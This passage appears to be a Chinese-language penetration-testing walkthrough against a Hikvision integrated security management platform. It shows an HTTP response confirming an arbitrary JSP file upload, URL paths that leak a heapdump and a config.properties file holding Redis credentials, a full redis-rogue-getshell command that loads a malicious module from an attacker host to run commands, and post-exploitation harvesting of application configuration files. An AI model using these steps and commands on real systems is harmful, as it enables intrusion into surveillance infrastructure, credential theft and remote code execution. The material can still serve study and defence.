正文
Content-Length: 69
Connection: keep-alive
traceId: f570d6a8d329cece
Set-Cookie: JSESSIONID=30885E6D014929B496EDC9635ABA8EF8; Path=/svm; secure; HttpOnly;secure
Cache-Control: no-cache
Cache-Control: no-store
Cache-Control: must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: http://xx.xx.xx.xx:11443/center
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT,PATCH, HEAD
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 3600
{"code":"0x26e31402","msg":"上报的文件格式错误","data":null}
然后访问https://xx.xx.xx.xx:11443/els/static/1.jsp,响应内容如下,则可以确定存在任意文件上传漏洞,并且能够解析jsp脚本
HTTP/1.1 200
Date: Fri, 21 Jun 2024 21:33:58 GMT
Content-Type: text/html;charset=ISO-8859-1
Connection: keep-alive
Set-Cookie: JSESSIONID=E81E46F2D575A51BEA3260243454C81B; Path=/els; secure; HttpOnly;secure
Content-Length: 24
Vulnerability is exist
redis主从复制getshell
通过heapdump泄露
访问https://xx.xx.xx.xx:11443/artemis-portal/artemis/heapdump,如下下载了heapdump文件,那么就可以通过解密来获取运行中的配置,获取redis服务的password、port
通过portal配置文件泄露
请求https://xx.xx.xx.xx:11443/portal/conf/config.properties,正常返回配置文件,portalcache开头的字段为redis数据库配置
再通过主从复制的项目来执行命令
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r <rhost> -p <rport> -L <lhost> -P <lport> -f RedisModulesSDK/exp.so -c "id"
即可完成getshell
讲完入口点后,就可以收集里面的信息了
来到/opt/hikvision/web/components路径下,这里是设备中的应用安装路径,每个应用中的配置文件路径:conf/config.properties,查看文件就可以获取一系列应用服务的配置,取得服务权限来得分。(配置文件解密工具
GitHub - wafinfo/Hikvision: 海康威视综合安防平台后渗透利用工具